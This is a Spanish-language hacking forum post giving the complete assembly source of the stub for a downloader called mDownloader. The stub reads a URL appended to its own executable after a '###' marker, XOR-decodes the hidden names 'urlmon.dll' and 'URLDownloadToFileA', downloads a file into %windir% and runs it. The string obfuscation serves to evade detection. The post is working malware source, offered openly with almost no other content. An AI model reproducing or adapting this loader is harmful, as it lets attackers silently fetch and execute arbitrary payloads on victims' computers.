Stub mDownloader

  • 0 Respuestas
  • 2310 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil

Stub mDownloader

  • en: Febrero 26, 2011, 12:55:36 pm
Bueno, este es el código fuente del Stub del mDownloader, un Downloader programado por mi en Asm.

Código: (asm) [Seleccionar]
include 'win32ax.inc'
 
.data
    manija dd ?
    larchivo dd ?
    espacio dd ?
    bleidos dd ?
    dll db 'rukjhi)ckk',0
    funcion db 'RUKChpikhfcShAnkbF',0
    añadir db '%windir%\archivo.exe',0
    ruta dd ?
 
.code
start:
        xor  eax, eax
        mov  eax, [FS:eax+0x30]
        mov  eax, [DS:eax+0x10]
        mov  eax, [DS:eax+0x3C]
 
        invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
        mov [manija],eax
        invoke GetFileSize,[manija],0
        mov [larchivo],eax
        invoke GlobalAlloc,GPTR,[larchivo]
        mov [espacio],eax
        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
        invoke CloseHandle,[manija]
 
        mov ecx,1
        mov eax,[espacio]
        add [larchivo],10
        bucle:
 
            .if byte[eax+ecx] = '#'
                inc ecx
                .if byte[eax+ecx] = '#'
                    inc ecx
                    .if byte[eax+ecx] = '#'
                        inc ecx
                        add eax,ecx
                        mov [espacio],eax
                        jmp salir
                    .endif
                    dec ecx
                .endif
                dec ecx
             .endif
 
             .if ecx > [larchivo]
                 jmp salir
             .endif
 
             inc ecx
             jmp bucle
 
        salir:
 
        invoke GlobalAlloc,GPTR,1024
        mov [ruta],eax
        invoke ExpandEnvironmentStrings,añadir,[ruta],1024
 
        stdcall Cifrar,dll
        invoke LoadLibrary,eax
 
        push eax
        stdcall Cifrar,funcion
        mov ecx,eax
        pop eax
 
        invoke GetProcAddress,eax,ecx
 
        push 0
        push 0
        push [ruta]
        push [espacio]
        push 0
 
        call eax
 
        invoke ShellExecute,0,"open",[ruta],0,0,0
 
        leave
        ret
 
        proc Cifrar,Cadena
            xor ecx,ecx
            mov eax,[Cadena]
            .bucle:
                .if byte[eax+ecx] = 0
                    jmp .salir
                .endif
                xor byte[eax+ecx],7
                inc ecx
                jmp .bucle
            .salir:
            ret
         endp
.end start   
 

salu2!
« Última modificación: Diciembre 08, 2014, 02:42:08 pm por Expermicid »